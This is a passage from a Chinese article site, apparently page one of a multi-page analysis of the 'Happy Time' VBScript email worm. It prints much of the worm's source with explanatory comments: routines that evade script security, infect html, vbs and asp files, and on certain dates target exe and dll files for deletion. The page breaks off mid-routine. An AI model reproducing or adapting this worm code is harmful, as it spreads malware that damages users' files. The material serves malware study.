试卷,试题,examination paper.
首 页 论文分类 论文搜索 论文精华 写作指导 友情链接 留言板  
计算机 | 金融 | 经济 | 会计 | 工商 | 财政 | 财务 | 公共 | 管理 | 文化 | 艺术 | 社会 | 教育 | 工科 | 理科 | 文学 | 法律 | 医学
 
     当前位置:首页>>计算机>>计算机应用>>正文
 

欢乐时光代码分析(1)

文章出处:中国论文下载中心   发布时间:2005-11-11
“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道,邮件的格式可以有两种:纯文本和超文本。超文本(HTML)功能强大就不用多说了,它可以内嵌数种脚本语言,常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来,该作者很可能是长期从事网络编程的高手,他对VBS的认识可谓精通,使用的许多技术细节都鲜为人知,尤其是利用了类型库(Type Library)成功地避开了安全审核的手段更是令人叹为观止。 
  下面让我们来看看它藏在快乐的外衣下的是什么吧! 

*************** 欢乐时光 ***************
Rem I am sorry! happy time
On Error Resume Next
Mload
’以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib") 
Set Oh = CreateObject("Shell.Application")
’建立枚举对象,避开了安全审核
If IsHTML Then
’调用IsHtml函数,如果是Html,就小写…… 
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset 
Os.Path = "C:Help.htm"
Os.Doc = Lhtml()
Os.Write()
’如果mPath为空,就在C盘下生成Help.htm
Ihtml = ""
’超文本的内容,并指向C:Help.Htm
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
’设置超时条件
main
Else 
Os.Reset()
Os.Path = mPath & "" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
’生成Help.hta
End If
End If
End If
Else
Main
’都不是,就执行main函数 
End If
End Sub
’******************************************************************
’以下为主函数,太长了!
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
’不用说,创建FileSystemObject对象啦
Set Od = CreateObject("Scripting.Dictionary")
’创建Dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组
Od.Add "html", "1100" 
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
’向Dictionary对象添加要感染的项目对
Ks = "HKEY_CURRENT_USERSoftware"
’使用变量以减少代码长度 
Ds = Grf()
Cs = Gsf()
If IsVbs Then
’如果是VBS 
If Of.FileExists("C:help.htm") Then 
Of.DeleteFile ("C:help.htm")
’如果c:help.htm存在,就删掉,消灭遗留的痕迹
End If
Key = CInt(Month(Date) + Day(Date)) 
If Key = 13 Then 
’如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可)
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
’就清空Dictionary数组,并将exe、dll加入Dictionary 对象,以备删除之用
End If
Cn = Rg(Ks & "HelpCount") 
’读注册表中的HKEY_CURRENT_USERSoftwareHelpCount键值
If Cn = "" Then
Cn = 1
’如果Count为0,就设为1
End If
Rw Ks & "HelpCount", Cn + 1 
’添加HKEY_CURRENT_USERSoftwareHelpCount键值,值为2
f1 = Rg(Ks & "HelpFileName") 

  共6页: 1 [2] [3] [4] [5] [6] 下一页   
[返回顶部↑]  
 
 
 
  相关文章
·脉冲功率装置能源计算机
·实时性远程答疑系统
·VB中创建超长时间计时器
·图书馆管理系统
·基于Client/Server 的课
·基于WWW的协同式CAI软件
·数据加密技术
·详解加密技术概念、加密
·信息技术对高校图书馆工
·基于Client/Server 的课
  热门点击
·基于Client/Server 的课
·信息技术对高校图书馆工
·详解加密技术概念、加密
·数据加密技术
·基于WWW的协同式CAI软件
·基于Client/Server 的课
·图书馆管理系统
·VB中创建超长时间计时器
·实时性远程答疑系统
·脉冲功率装置能源计算机